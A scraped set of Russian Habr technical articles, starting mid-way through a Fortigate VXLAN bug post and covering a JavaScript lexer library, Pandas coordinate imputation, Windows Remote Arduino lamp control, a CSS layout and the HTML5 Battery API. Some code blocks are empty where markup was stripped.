pktcap-uw --uplink vmnic4 --vni 5008 --mac 90:6c:ac:a9:97:6e --dir 2 -o /tmp/monitor.pcap
```
Приходят запросы от фортигейта, но ответа нет. То есть проблема не в фортигейте. Ну всё — думаю я — опять та же проблема с пропадающим трафиком на VDR, опять пару месяцев направлять кейс в нужное русло. Через пару дней поостыв, и не желая мириться с висяком, решил накопать еще снифов для саппорта, чтобы ускорить процесс. И тут «случайно» взгляд мой падает на Ethernet инкапсуляцию underlay. Царь-то не настоящий и MAC адрес VTEP не совпадает с его IP. Сбрасываю в ноль, снифлю, копаю — верно, что не верно. Приведу ARP таблицу рядом, чтобы было удобнее сравнивать. Обратите внимание на первую Ethernet инкапсуляцию на картинке сверху:
```
fortigate (root) #get sys arp | grep у.у.у.47
у.у.у.47 0 00:50:56:65:f6:2c dmz
fortigate (root) #get sys arp | grep у.у.у.42
у.у.у.42 0 00:50:56:6a:78:86 dmz
```
Итак, что мы имеем в итоге — после миграции виртуальной машины, фортигейт пытается отправить трафик на VTEP из (корректной) VXLAN FDB, но использует неправильный DST MAC и трафик ожидаемо отбрасывается получающим его интерфейсом гипервизора. Причём в одном случае из четырёх этот MAC принадлежал исходному гипервизору, с которого начинали миграцию машины.
Вчера получил письмо от техподдержки Fortinet — по моему кейсу открыли баг 615586. Прям не знаю радоваться или горевать: с одной стороны — проблема не в настройках, с другой — фикс придет только с обновлением прошивки, в лучшем случае следующем. ЧСВ подогревает так же еще один баг, который я выявил в прошлом месяце, правда в тот раз в HTML5 GUI vSphere. Ну прям локальный QA отдел вендоров…
Рискну предположить следующее:
1 — multicast control plane скорее всего не будет подвержена описанной проблеме — ведь MAC адреса VTEP получаются из IP адреса группы, на которую подписан интерфейс.
2 — скорее всего проблема фортика в оффлоаде сессий на Network Processor (приблизительно аналог CEF) — если пропускать каждый пакет через CPU, будут использоваться таблицы содержащие верную — во всяком случае визуально — информацию. В пользу этого предположения идёт то, что помогает закрыть/открыть интерфейс или выждать некоторое время — более 5 минут.
3 — изменение teaming policy, например на explicit failover, или внедрение LAG проблему не решит, так как наблюдалось «застревание» MAC исходного гипервизора в инкапсулированых пакетах.
В свете этого могу поделиться, что недавно открыл для себя [блог](https://blog.ipspace.net/), где в одной из статей утверждалось, что stetfull фаерволы и кэшируемые способы передачи данных — это костыли. Что ж, я не на столько опытен в IT, чтобы утверждать подобное, к тому же не со всеми утверждениями статей блога согласен сходу. Однако что-то мне подсказывает, что доля правды в словах Ивана есть.
Благодарю за внимание! Буду рад ответить на вопросы и услышать конструктивную критику.
UPD1: как и предполагалось, проблема в застревании исходных данных VTEP в кэше. То есть, чтоб было понятно — примерно столько времени (и немало веб-встреч) необходимо, чтобы убедить саппорт вендора в уже известных вещах. Перевод ответа саппорта примерно такой «данная ошибка содержится в текущем коде, отвечающей за VXLAN — он же официальный код Linux. IP адрес VTEP обновляется в таблице форвардингаб FDB, но информация о старой VTEP не инвалидируется в кэше. В результате MAC адрес предыдущего VTEP используется в качестве текущего».
В процессе долгого ожидания ответов я так же пробовал отключение аппаратного ускорения (NPU) и в политике и на устройстве в целом, даже стимулировал переход на CPU-only обработку пакетов — не работает.
Теперь осталось только подождать фикса.
UPD2: в течение лета пришел багфикс и, судя по нескольким неделям в тесте, он решает проблему. В тестовой инфраструктуре наблюдалась потеря пакетов в районе от 1 до
9 секунд — для меня это не критично, но учитывать стоит. Судя по release notes, проблема решена в версии операционки 6.4.2. | https://habr.com/ru/post/490792/ | null | ru | null |
# Пятница программиста, или как я писал библиотеку для лексического и синтаксического анализа кода
Всем привет! Я, как программист, всегда ищу пути для улучшения своих навыков. В один пятничный вечер, в мою голову пришла мысль — «А не написать ли мне компилятор?»
Кому интересно узнать, что из этого получилось, добро пожаловать под кат.
Исходя из «Классической теории компилятора» В. Э. Карпова, можно выделить 5 основных этапов компиляции:
1. Лексический анализ
2. Синтаксический анализ
3. Генерация middle кода
4. Оптимизация
5. Генерация конечного, объектного, кода
Про все, пять частей, можно писать уйму предложений и статей. Но, сегодня, мы поговорим о первых двух и как я выделил их структуру в отдельную библиотеку.
Когда я решился на написание, пусть даже небольшой части, компилятора, то я не задумывался, для какого именно языка я пишу, по этой причине, результатом стала библиотека для лексического и синтаксического анализа любого языка.
#### Токенизация
Перед тем, как строить синтаксическое и лексическое дерево, генерировать результирующий код и заниматься другими вкусными вещами, исходный код требуется разбить на строки, символы, цифры.
Где каждый элемент будет иметь точно определенный тип. Токены с неопределенным типом при синтаксическом анализе будут рассматриваться как синтаксические ошибки.
В контексте компиляции, исходный код рассматривается как source-map, хорошей практикой будет хранить его в процессе лексического и синтаксического анализа для обратной связи с программистом и указания синтаксических ошибок в исходном коде.
Разбить исходный код на массив токенов, можно при помощи простого регулярного выражения:
```
/\S+/gm
```
Оно может меняться в зависимости от дополнительных условий парсинга, таких как: парсинг переносов строк, парсинг табов, парсинг пробелов.
Результатом разделения, будет массив слов исходного кода, причем слова парсятся от пробела до пробела, т.е. такая конструкция:
```
let hello = 'world';
```
Будет преобразована в следующий набор токенов:
```
["let", "hello", "=", "'world';"]
```
Что-бы получить финальный набор токенов, требуется пройтись по каждому из них, дополнительным регулярным выражением:
```
/(\W)|(\w+)/gm
```
Результатом будет, требуемый нам набор токенов:
```
["let", "hello", "=", "'", "world", "'", ";"]
```
Все токены, которые мы получили, мы записываем в массив, вместе с их индексами в source-map
#### Лексический анализ
Теперь, когда мы имеем массив токенов, нам нужно определить их тип, для передачи их на синтаксический анализ.
Алгоритм, который определяет токены и их типы, носит название — Лексер
Токен и его тип, который определяет Лексер, носит название — Лексема
Каждый токен может иметь однозначно определенный тип, например:
```
['let', 'const', 'var'] // Keywords
['=', '+', '-', '*', '/'] // Operators
И т.д.
```
Я же, реализовал схему определения типов токенов, при помощи, так называемых, Solver'ов.
Работает это следующим образом:
**1.** Вы определяете константы, для типов токенов:
```
const DefaultTokenTypes = {
KEYWORD: "Keyword",
IDENTIFIER: "Identifier",
OPERATOR: "Operator",
DELIMITER: "Delimiter",
LINEBREAK: "Linebreak",
STRING: "String",
NUMERIC: "Numeric",
UNKNOWN: 'Unknown'
};
```
**2.** Далее, следует определить, так называемые Solver'ы:
```
const solvers = {};
solvers[MyTokenTypes.KEYWORD] = {
include: [
'const',
'let'
]
};
solvers[MyTokenTypes.NUMERIC] = {
regexp: /^[0-9.]*$/gm
};
solvers[DefaultTokenTypes.STRING] = {
type: StringSolver,
delimiters: ['"', "'", '`']
};
solvers[MyTokenTypes.IDENTIFIER] = {
regexp: /^[a-zA-Z_][a-zA-Z_0-9]*$/gm
};
solvers[MyTokenTypes.DELIMITER] = {
default: true
};
```
Как видно, токены могут иметь различные вариации настройки:
**include** — Массив слов, по совпадению с которыми, может определяться тип токена.
**regexp** — Регулярное выражение, по совпадению с которым, может определяться тип токена.
**default** — Стандартный тип, для неопределенных токенов.
Так же, можно заметить, параметр **type**, который указывает, что данный солвер нужно наследовать от того, который указан в **type**
В данном случае, солвер определяет строки, которые заключены в один из символов, указанных в **delimiters**
**3.** Применяем солверы для массива токенов и получаем массив типизированных токенов. Для данного, исходного кода:
```
let a = 50;
```
Получаем следующее дерево:
```
[
{
"type": "Keyword",
"value": "let",
"range": [0, 3]
},
{
"type": "Identifier",
"value": "a",
"range": [4, 5]
},
{
"type": "Delimiter",
"value": "=",
"range": [6, 7]
},
{
"type": "Numeric",
"value": "50",
"range": [8, 10]
},
{
"type": "Delimiter",
"value": ";",
"range": [10, 11]
}
]
```
Где **range** — Начало и конце фрагмента в исходном коде.
#### Синтаксический анализ
После получения массива лексем, следует распарсить их и определить синтаксическую структуру(древо) исходного кода.
Существуют различные варианты парсинга, я же, выбрал нисходящий, прямой, алгоритм.
Токены парсятся один за другим, используя массив шаблонов. При совпадении шаблона с текущей последовательностью токенов — в синтаксическом дереве, создается новая ветка.
Пример одного шаблона из массива:
```
let declaration = new SequenceNode({
tokenType: MyTokenTypes.KEYWORD,
type: MyNodeTypes.DECLARATION,
sequence: [
{type: MyTokenTypes.KEYWORD},
{type: MyTokenTypes.IDENTIFIER},
{type: MyTokenTypes.DELIMITER},
{type: [MyTokenTypes.NUMERIC, MyTokenTypes.STRING]},
';'
],
onError: (e) => {
//e - Syntax error
}
});
```
**tokenType** — Описывает токен, с которого начинать проверку на совпадение.
**type** — Описывает тип узла, все типы — так же должны быть определены, аналогично типам токенов.
**sequence** — Массив последовательности, в нем содержаться типы токенов, конкретные значения или же другие узлы синтаксического дерева.
**onError** — Callback, который сработает при синтаксической ошибке, во время парсинга данного узла, он возвращает тип ошибки + ее место в исходном коде.
Разберем **sequence** данного узла:
```
[
{type: MyTokenTypes.KEYWORD}, // Текущий токен -> должен быть ключевым словом
{type: MyTokenTypes.IDENTIFIER},// Текущий токен + 1 -> должен быть идентификатором
{type: MyTokenTypes.DELIMITER},// Текущий токен + 2 -> должен быть разделителем
{type: [MyTokenTypes.NUMERIC, MyTokenTypes.STRING]},// Текущий токен + 2 -> должен быть строкой или числом
';' // Текущий токен + 3 -> должен быть точкой с запятой
],
```
Я реализовал несколько вариаций узлов, для разных целей: определение последовательностей токенов, определение группы элементов(Аргументы, блоки). Что позволяет без проблем парсить стрелочные функции.
Прочесть о всех вариация Солверов и Узлов, которые я реализовал, вы сможете в документации данной библиотеки.
#### Материалы
→ Ссылка на исходный код: [Тык](https://github.com/SergiiSharpov/syntex)
→ [Классическая теория компиляторов](http://rema44.ru/resurs/study/compiler1/Compiler1.pdf) | https://habr.com/ru/post/426151/ | null | ru | null |
# Глушим аномалии в географических данных с помощью Pandas
При обработке данных исходного DataSet часто попадаются аномальные значения, которые поставлены вместо пропусков, и мало того, что они скрываются, так ещё и несут вред общему делу. В данной статье будет разобран практический пример избавления от аномальных значений в связанных с географией данных при помощи инструментов известной библиотеки Pandas.
> В качестве примера возьмём достаточно известный соревновательный DataSet «Pump it Up: Data Mining the Water Table».
>
>
Сначала войдём в курс проблемы. Стоит задача определить состояние пункта водоснабжения («водоколонки») в Танзании по различным данным об этих пунктах: кто построил, когда построил, кол-во населения в округе и т.д. Однако особый интерес представляют longtitude и latitude (долгота и широта), т.е. конкретное место расположения той или иной водоколонки на карте.
*Longtitude и latitude* очень ценные показатели для нашей будущей модели-классификатора, однако если вывести их на график, то картинка покажется немного странной:
Отображение значений longtitude и latitudeВряд ли свыше двух тысяч водоколонок было построено за пределами Танзании, да ещё и в Атлантическом океане. Поэтому неплохо было бы заменить данные аномалии на осознанные значения, что несомненно поможет нашей модельке добиться лучших результатов.
В нашем DataSet есть такие территориальные единицы как region (регион) и subvillage (деревня). Регион состоит из деревень.
Напомню, что нам нужно восстановить данные о расположении водоколонок, и в этом нам как раз и поможет принадлежность водоколонки к какому-либо региону или деревне.
Восстановление географических данных логично производить по subvillage, т.к. это обеспечит большую точность в сравнении с регионом.
**Идея проста:**
* *Определяем к какой деревне принадлежит данная водоколонка*
* *Считаем среднее расположение по всем водоколонкам, координаты которых НЕ ошибочны*
* *Записываем получившиеся значения в longtitude и latitude для текущей водоколонки*
* *И так для всех водоколонок, одиноко плавающих в океане*
**Вот мы и добрались до кода:**
```
################################################################
# Получаем таблицу средних расположений водоколонок по деревням.
################################################################
average_coords_subvillage = data_all[data_all.longitude!=0].groupby(
'subvillage')[['longitude', 'latitude']].mean()
```
Таблица средних координатС помощью метода groupby производим группировку по subvillage c подсчётом средних значений по долготе и широте.
В итоге получаем таблицу, где каждому subvillage соответствуют средние координаты широты и долготы по всем водоколонкам, координаты которых были известны (поэтому и используется срез [data\_all.longitude!=0]).
Столбец subvillage становится индексным столбцом. Как раз посредством него и будет происходит последующая магия.
```
#################################
# Заполняем пропуски по деревням.
#################################
data_all.longitude[data_all.longitude==0] = data_all[data_all.longitude==0].subvillage.map(
average_coords_subvillage['longitude']
)
data_all.latitude[data_all.latitude==-0.00000002] = data_all[data_all.latitude==-0.00000002].subvillage.map(
average_coords_subvillage['latitude']
)
# *где 0 - аномальное значение по долготе, 2е-8 - аномальное значение по широте
```
Далее с помощью метода map происходит замена названия деревни на среднее значение широты, которое ей соответствует (срез [data\_all.longitude==0] означает, что мы производим замену только для тех водоколонок, где долгота была ошибочна). Затем данные значения благополучно помещаются на места ошибочных значений долготы в столбец longtitude исходного DataSet.
Та же самая процедура происходит и с широтами.
И если теперь по новым значениям longtitude и latitude построить карту расположения водоколонок, то картинка получается куда приятнее:
Отображение значений longtitude и latitude после избавления от аномалийРеальная карта Танзании со спутника**Подведём итоги:**
* *Очень важно обращать внимание не только на пропуски в данных, но и на аномальные значения, которые так же могут отрицательно повлиять на результат работы модели.*
* *Неизвестные данные о расположении объектов можно заполнить посредством их принадлежности к какому-либо классу (привязанному к географии).*
* *Методы groupby и map довольно удобные и мощные инструменты для решения такого рода задач.*
**P.S.:**
На практике некоторые деревни:
* *содержали только одну водоколонку*
* *данная водоколонка была с ошибочными координатами*
Поэтому срез [data\_all.longitude!=0] при формировании таблицы средних координат исключил такие деревни вовсе. А после применения map вместо координат долготы и широты в одинокие водоколонки записались NaN.
Данная проблема была решена :)
Но как бы вы решили её? Пишите в комментариях! | https://habr.com/ru/post/647319/ | null | ru | null |
# Windows Remote Arduino — управляем настольной лампой прямо из универсального приложения Windows
Завершая [неделю интернета вещей](http://habrahabr.ru/company/microsoft/blog/261367/) на хабре и в продолжение предыдущего поста [о партнерстве с Arduino](http://habrahabr.ru/company/microsoft/blog/262249/), расскажу вам о подключении устройств к Windows. Я [уже писал про различные сценарии подключения датчиков к облаку](http://blog.soshnikov.com/2015/04/28/%d0%be%d1%82-%d0%bf%d0%be%d0%b3%d0%be%d0%b4%d0%bd%d0%be%d0%b9-%d1%81%d1%82%d0%b0%d0%bd%d1%86%d0%b8%d0%b8-%d0%ba-%d0%b2%d0%b7%d1%80%d0%be%d1%81%d0%bb%d0%be%d0%bc%d1%83-%d0%b8%d0%bd%d1%82%d0%b5%d1%80/), но бывают сценарии, когда нам хочется просто подключить датчики или устройства к нашему компьютеру и удаленно ими управлять. Например, мы хотим сделать приложение, которое будет включать и выключать настольную лампу. В этих случаях самым простым решение будет использование [Windows Remote Arduino](http://ms-iot.github.io/content/en-US/win10/SetupWRA.htm).
### Что такое Windows Remote Arduino
[Windows Remote Arduino](http://ms-iot.github.io/content/en-US/win10/SetupWRA.htm) – это библиотека WinRT, которая позволяет управлять цифровыми и аналоговыми каналами платы Arduino из Windows/Windows Phone приложения, с помощью привычных команд типа digitalRead/Write и analogRead/Write. При этом сама плата может быть подключена к компьютеру по USB или Bluetooth – важно, чтобы обеспечивался последовательный канал передачи данных. Помимо простых команд включения/выключения входов/выходов, в том или ином виде предусмотрена работа с шиной I2C и (в перспективе) сервоприводами.
Для работы необходимо, чтобы на плате Arduino была запущена специальная программа, поддерживающая выполнение команд по протоколу [Firmata](http://firmata.org/). Библиотека Windows Remote Arduino обменивается командами с платой, предоставляя программисту высокоуровневые функции управления.
Windows Remote Arduino доступна для Windows 8.1/Windows Phone 8.1 и для универсальных приложений Windows 10. Чтобы использовать их в своем проекте, в настоящее время проще всего [клонировать Git-репозиторий проекта](https://github.com/ms-iot/remote-wiring/) и добавить необходимые проекты в своё решение (пример я опишу ниже).
### Пример – включатель лампочки
В моём примере я буду разрабатывать интеллектуальное приложение, включающее настольную лампу. Для этой цели я использую плату Arduino Uno и реле, способное коммутировать 220В. Реле подключается к какому-нибудь цифровому выходу (например, 7). Также для обнаружения присутствия человека будем использовать [инфракрасный датчик присутствия](http://amperka.ru/product/infrared-motion-sensor), который включим в аналоговый вход A0. Для удобства коммутации мы используем [Troyka Shiled](http://amperka.ru/product/arduino-troyka-shield) от [Амперки](http://amperka.ru/). На приведенном выше видео смотрите подробнее про hardware setup, а также весь проект в действиии.
### Устанавливаем скетч Firmata на плату Arduino
Первым делом необходимо установить на плату Arduino стандартный скетч для выполнения команд Firmata. Такой скетч уже включен в стандартную поставку Arduino IDE – достаточно выбрать в меню File –> Examples –> Firmata –> Standard Firmata. Открывшийся при этом скетч необходимо загрузить в плату обычным образом.
На этом этапе полезно будет убедиться, что все аппаратное обеспечение настроено правильно. Для этого можно использовать специальную программу [firmata\_test.exe](http://www.pjrc.com/teensy/firmata_test/firmata_test.exe) (или любую из программ, описанных [здесь](http://firmata.org/wiki/Main_Page)) – вы должны быть в состоянии управлять лампочкой, переключая состояние цифрового выхода 7, а также на входе A0 вы должны получать значение 0, если движения вокруг сенсора нет, и большое положительное значение (около 600 и более) в противном
### Готовим проект с Windows Remote Ardunio
Чтобы использовать Windows Remote Arduino в своём проекте, необходимо подключить соответствующие библиотеки. На текущий момент технология достаточно молодая, и библиотеки существуют в виде исходных текстов. Мы надеемся, что со временем появятся пакеты NuGet, сейчас же процесс включения библиотек выглядит следующим образом:
1. Создайте новый проект – в нашем случае это будет универсальное приложение Windows 10
2. Клонируйте [GitHub-репозиторий проекта Windows Remote Arduino](https://github.com/ms-iot/remote-wiring/) в какую-нибудь локальную папку:
```
git clone https://github.com/ms-iot/remote-wiring/
```
**ВАЖНО**: в репозитории имеются несколько версий библиотеки. На момент написания статьи последняя ветка **master** содержала много ошибок при работе с аналоговыми и цифровыми входами, поэтому я использовать наиболее стабильную ветку revert-18-develop. Очень надеюсь, что в скором времени выйдет еще более стабильная версия, и клонировать можно будет как показано выше, без указания ветки.
3. В получившемся дереве проектов есть папки Microsoft.Maker.Win10 и Microsoft.Maker.Win8\_1. Мы будем использовать вариант для Windows 10, но проект поддерживает и универсальные приложения Windows 8.1
4. В папке Microsoft.Maker.Win10 есть три проекта: Microsoft.Maker.Firmata, Microsoft.Maker.Serial и Microsoft.Maker.RemoteWiring. Эти три проекта нужно добавить в созданный нами проект (Add Existing Project)
5. В результате получится следующее дерево проектов:
6. Чтобы проекты компилировались в правильном порядке, необходимо установить правильные зависимости проектов. Нажмите правой кнопкой на наш проект, выберите “Зависимости сборки –> Зависимости проектов”, и установите галочки напротив всех трех добавленных проектов. Остальные зависимости должны быть уже установлены, но вы можете их проверить: проект Firmata зависит от проекта Serial, проект RemoteWiring – от проектов Firmata и Serial. Соответственно, на вкладке “Порядок сборки” проекты должны собираться в таком порядке: Serial, Firmata, RemoteWiring и наше приложение.
7. В нашем основном проекте правой кнопкой нажмите на References и добавьте расширение Microsoft Visual C++ AppLocal Runtime Package for Windows UAP. Там же в пункте “Общие проекты” выберите все три добавленных проекта Windows Remote Arduino.
8. **ВАЖНО:** Чтобы наше приложение могло использовать возможности работы с последовательным портом, необходимо в манифест приложения (файл Package.appxmanifest) в раздел добавить следующий код:
```
```
9. Мы готовы к созданию нашего приложения, которое будет использовать библиотеки Windows Remote Arduino! Чтобы убедиться, что всё работает правильно, попробуйте выполнить сборку получившегося приложения.
### Создаем приложение с Windows Remote Arduino
Наше приложение будет иметь три кнопки: для включения лампочки, для выключения, и для авто-режима, в котором лампочка будет управляться датчиком присутствия. Для начала добавим на главную страницу приложения **MainPage.xaml** эти три кнопки, установив их в неактивное состояние:
```
```
Этот код добавляется внутрь того контейнера Grid, который уже по умолчанию есть у страницы. Также для каждой кнопки создадим функцию-обработчик на C# (кликнув дважды на каждую кнопку, или через окно свойств Visual Studio).
Для начала инициализируем объект Remote Arduino. Для этого в классе окна в файле **MainPage.xaml.cs** опишем две переменные:
```
UsbSerial usbcomm;
RemoteDevice arduino;
```
Для подключение к Arduino опишем функцию connect(), которую затем вызовем из конструктора MainPage():
```
private async void connect()
{
var dev = await UsbSerial.listAvailableDevicesAsync();
usbcomm = new UsbSerial(dev[0]);
arduino = new RemoteDevice(usbcomm);
usbcomm.ConnectionEstablished += Comm_ConnectionEstablished;
usbcomm.begin(57600, SerialConfig.SERIAL_8N1);
}
```
Здесь мы сначала определяем список доступных портов, куда может быть подключен Arduino, затем создаем последовательное соединение UsbSerial с этим портом, а затем поверх этого – объект RemoteDevice, который будет представлять собой виртуальный Arduino. После этого мы вызываем функцию begin, передавая параметры последовательного соединения.
**ВАЖНО:** Скорость последовательного канала, используемая протоколом Firmatа, задается в скетче StandardFirmata. По умолчанию она равна 57600, поэтому мы выбираем именно эту скорость в нашем приложении. Если скорости не будут совпадать, то соединение не будет работать.
При установлении соединения с платой, будет вызвана функция Comm\_ConnectionEstablished, которую мы опишем следующим образом:
```
private void Comm_ConnectionEstablished()
{
Dispatcher.RunAsync(Windows.UI.Core.CoreDispatcherPriority.Normal,new Windows.UI.Core.DispatchedHandler(() =>
{
arduino.pinMode(14, PinMode.ANALOG);
arduino.pinMode(relay_pin, PinMode.OUTPUT);
dt = new DispatcherTimer() { Interval = new TimeSpan(500) };
dt.Tick += loop;
dt.Start();
on.IsEnabled = true;
off.IsEnabled = true;
auto.IsEnabled = true;
}));
}
```
Основной код функции обернут в вызов диспетчера, который запускает его в потоке UI – это важно. Далее мы устанавливаем режимы основных используемых пинов Arduino, создаем таймер, который будет вызывать каждые пол-секунды функцию loop(), а также делаем кнопки видимыми.
Интересный момент – установка порта 14 в аналоговый режим. Дело в том, что аналоговые входы в Arduino нумеруются после цифровых, и входу A0 соответствует номер 14. Режим необходимо установить именно ANALOG, а не INPUT, который означает цифровой ввод.
Теперь для включения/выключения лампочки достаточно описать функции-обработчики событий кнопок следующим образом:
```
private void on_Click(object sender, RoutedEventArgs e)
{
auto_mode = false;
arduino.digitalWrite(relay_pin, PinState.HIGH);
}
```
Функция off\_Click делается по аналогии. Обратите внимание, что для работы с пинами удалённой платы Arduino используются привычные команды типа digitalRead/digitalWrite.
Переменная auto\_mode – это переменная типа bool, которую нужно описать в нашем классе. Она нужна для того, чтобы обрабатывать автоматический режим. Кнопка AUTO будет устанавливать эту переменную в true:
```
private void auto_Click(object sender, RoutedEventArgs e)
{
auto_mode = true;
}
```
Теперь дело осталось за малым – реализовать функцию loop, которая будет переключать лампу в зависимости от наличия сигнала с датчика присутствия. Делать это надо только в том случае, если auto\_mode установлен:
```
private void loop(object sender, object e)
{
if (auto_mode)
{
arduino.pinMode(14, PinMode.ANALOG);
var on = arduino.analogRead(0) > 512;
arduino.digitalWrite(relay_pin, on ? PinState.HIGH : PinState.LOW);
}
}
```
**ВАЖНО**: Для более надежной работы прямо перед чтением порта лучше еще раз установить его режим в аналоговый. Так быть не должно, но на практике это улучшает стабильность. Также обратите внимание, что мы используем analogRead(0), хотя строчкой ранее указывали номер порта 14. В analogRead передается номер порта от 0 до 5, при установке режима порта надо прибавить к этим номерам 14.
### Как подключить Arduino по Bluetooth и управлять со смартфона
В нашем случае мы написали универсальное приложение, которое можем разместить на Windows Phone 10. Однако это бесполезно, поскольку подключить плату Arduino по USB к смартфону невозможно. Однако если мы будем использовать Bluetooth вместо USB-соединения, подключив к Arduino [bluetooth-плату](https://www.sparkfun.com/products/12577), то мы сможем этим же приложением управлять нашей конструкцией со смартфона. В этом случае в манифест приложения необходимо добавить следующие строчки для разрешения коммуникации по Bluetooth:
```
```
Мы не будем сейчас рассматривать использование bluetooth – это тема для отдельной статьи. Однако заметим, что с точки зрения программирования разницы почти нет – надо использовать объект BluetoothSerial вместо UsbSerial, а все остальные конструкции остаются без изменений.
### Где взять исходный код
Исходный код моего проекта по традиции доступен на GitHub: <https://github.com/evangelism/RemoteArduinoLamp/tree/v1.0-serial>. Пожалуйста, берите его, экспериментируйте, если найдете ошибки – делайте pull requests.
### Выводы
Windows Remote Arduino – достаточно молодая и сырая технология, но уже сейчас она может упростить решения ряда задач, в которых необходимо напрямую управлять входами/выходами платы Arduino, подключенной к компьютеру. Конечно, всё тоже самое можно запрограммировать вручную, написав свой скетч и используя последовательный канал для взаимодействия с ним, но почему бы не использовать уже готовые наработки и сложившиеся стандарты (Firmata), чтобы не изобретать велосипеды.
Я надеюсь, вы будете использовать Windows Remote Arduino в своих проектах, и если вы сделаете что-то интересное – мне будет приятно об этом узнать! Пишите в комментариях, [в твиттере](http://twitter.com/shwars) или [вконтакте](http://vk.com/shwars)! | https://habr.com/ru/post/262419/ | null | ru | null |
# Вёрстка c «Ушами» дополнение, работающее в IE7, с подвалом «прибитым» к низу
Добрый день
Этот пост написан по мотивам поста «Вёрстка c «Ушами»». По комментариям в этом поста я понял, что у людей есть реальная проблема сделать такой вид макета для IE7. Вот Я и решил предложить решение, которым уже давно пользуюсь в работе, и которое полностью отвечает требованиям, озвученным в выше названном посте.
##### Итак, макет позволяет удовлетворить такие требования:
* независимо от разрешения, информативная часть сайта должна находиться посередине;
* справа и слева должны остаться графические блоки (уши), причём эти уши должны быть видны только при увеличенном размере экрана браузера, а при уменьшенном не уместившаяся часть должна прятаться (в идеале, чтобы ещё горизонтальной полосы прокрутки не было);
* страница должна быть резиновой от 600px до 1000px;
* подвал всегда прижат к низу.
Резиновая версия работает в FF3.5+ (можно сделать что бы работал в FF3.11), IE7+, Opera 9.64+, Chrome, Safari.
Фиксированная версия работает в IE6+.
##### Собственно решение:
HTML имеет такую структуру:
> `"-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
>
> "http://www.w3.org/1999/xhtml" xml:lang="ru">
>
>
>
> Вёрстка c «Ушами» дополнение работающее в ие7 с подвалом прибитым к низу
>
> "Content-Type" content="text/html;charset=UTF-8" />
>
>
>
> "stylesheet" media="screen" type="text/css" href="styles/main.css" />
>
>
>
>
>
>
>
>
>
> class="wrapper">
>
> class="base">
>
> class="main\_row">
>
> class="content\_row">
>
>
>
>
>
>
>
> class="header">
>
> header
>
>
>
> class="b\_left ie">left
>
> class="b\_right ie">right
>
>
>
>
>
> class="footer">
>
>
>
>
>
>
>
>
>
>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
##### CSS
`html, body, div, span, applet, object, iframe,
h1, h2, h3, h4, h5, h6, p, blockquote, pre,
a, abbr, acronym, address, big, cite, code,
del, dfn, em, font, img, ins, kbd, q, s, samp,
small, strike, strong, sub, sup, tt, var,
b, u, i, center,
dl, dt, dd, ol, ul, li,
fieldset, form, label, legend,
table, caption {
margin: 0;
padding: 0;
border: 0;
outline: 0;
font-size: 100.01%;
vertical-align: baseline;
background: transparent;
}
body {
line-height: 1.2;
}
/*---------------------------------------------------------------------------reset*/
html, body {
color: #968c79;
height: 100%;
font: normal 12px / 16px Tahoma,Geneva,sans-serif;
}
.wrapper{
position: relative;
max-width: 6000px; /*это для Chrome, Safari из-за проблем с позиционированием бекграунда размещенного 50% 0*/
width: 100%;
min-width: 600px;
height: 100%;
margin: 0 auto;
overflow: hidden;
}
.base {
min-width: 600px;
max-width:1000px;
padding: 200px 0 166px;
margin: 0 auto;
}
/*---------------------------------------------------------------------------global*/
.ie{
display: none;
}
/*---------------------------------------------------------------------------global*/
.header {
z-index: 5;
position: absolute;
min-width: 600px;
max-width:1000px;
width: 100%;
height: 200px;
top: 0;
text-align: center;
color: #000;
background: #fff;
margin: 0 auto;
}
.header:before, .header:after{
z-index: 5;
position: absolute;
width: 100px;
height: 200px;
top: 0;
text-align: center;
font-size: 20px;
color: #000;
}
.header:before{
left: -100px;
background:#ddd;
content: "left";
}
.header:after{
right: -100px;
background:#ddd;
content: "right";
}
.main_row {
z-index: 2;
position: relative;
width: 100%;
background: #ddd;
overflow: hidden;
}
.content_row {
position: relative;
width: 100%;
height: 300px;
overflow: hidden;
}
.footer {
z-index: 10;
position: absolute;
width: 100%;
height: 166px;
bottom: 0;
margin: 0 auto;
background: url(../i/footer.jpg) 0 0 repeat-x;
overflow: hidden;
}`
##### CSS для IE
`@import "main.css";
ie{
display: block;
}
.b_left, .b_right {
z-index: 5;
position: absolute;
display: block;
width: 100px;
height: 200px;
text-align: center;
font-size: 20px;
color: #000;
top: 0;
}
.b_left{
left: -100px;
background:#ddd;
}
.b_right{
right: -100px;
background:#ddd;
}`
Вот что из этого получается — [dl.dropbox.com/u/585674/test/index.html](http://dl.dropbox.com/u/585674/test/index.html)
При необходимости макет можно переделать в фиксированный и он будет работать в IE6+ (просто я так и не смог найти стабильно работающий экспрешен для исправления min-width+max-width). | https://habr.com/ru/post/107072/ | null | ru | null |
# HTML5: Доступ к батарее через javascript
HTML5 спецификация наполняется и медленно начинают появляться API, позволяющие получать информацию об устройстве, на котором запущено приложение. Одним из последних является [Battery Status API](http://www.w3.org/TR/battery-status/). Как вы уже догадались, API позволяет получить информацию о батареи используя javascript. Так что теперь у вас есть возможность отключиться тяжелую анимацию на вашей странице, предложить пользователю сохранить данные или самому активно ее сохранять в локальное хранилище. [Рабочий пример вы можете найти здесь](http://www.smartjava.org/examples/webapi-battery). Следует заметить, что свойство «Battery time left», было недоступно, когда я открыл страницу. Но оно обновилось через пару минут.
Я тестировал это API с последних бета-версий Mozilla и оно пока не работает на Mac (но работает на iOS, Android и Windows). Так же мне не удалось получить положительный результат статуса зарядки, зато время разрядки и уровень батареи работали корректно. В этом маленьком примере мы просто отобразим информацию из API на простенькой странице, как эта (скрин из моей таблетки):
##### В этой статье мы рассмотрим:
* Использование Battery API
* Создание полей, для отображения информации из API
* Создание картинки для отображение статуса батареи
* Использование eventListener для обновления информации
Начем с быстрого знакомства с API.
#### Использование Battery API
Довольно просто — API имеет только несколько свойств, к которым у вас есть доступ (из спецификации):
```
[NoInterfaceObject]
interface BatteryManager : EventTarget {
readonly attribute boolean charging;
readonly attribute double chargingTime;
readonly attribute double dischargingTime;
readonly attribute double level;
};
```
Свойство charging показывает подключены ли мы к зарядке, chargingTime возвращает количество времени оставшейся до полной зарядки, dischargingTime показывает время до полной разрядки, ну и level показывает сколько еще у вас осталось зарядки в процентах. Очень просто.
Кроме этих свойств API определяет несколько колбеков:
```
[TreatNonCallableAsNull]
attribute Function? onchargingchange;
[TreatNonCallableAsNull]
attribute Function? onchargingtimechange;
[TreatNonCallableAsNull]
attribute Function? ondischargingtimechange;
[TreatNonCallableAsNull]
attribute Function? onlevelchange;
```
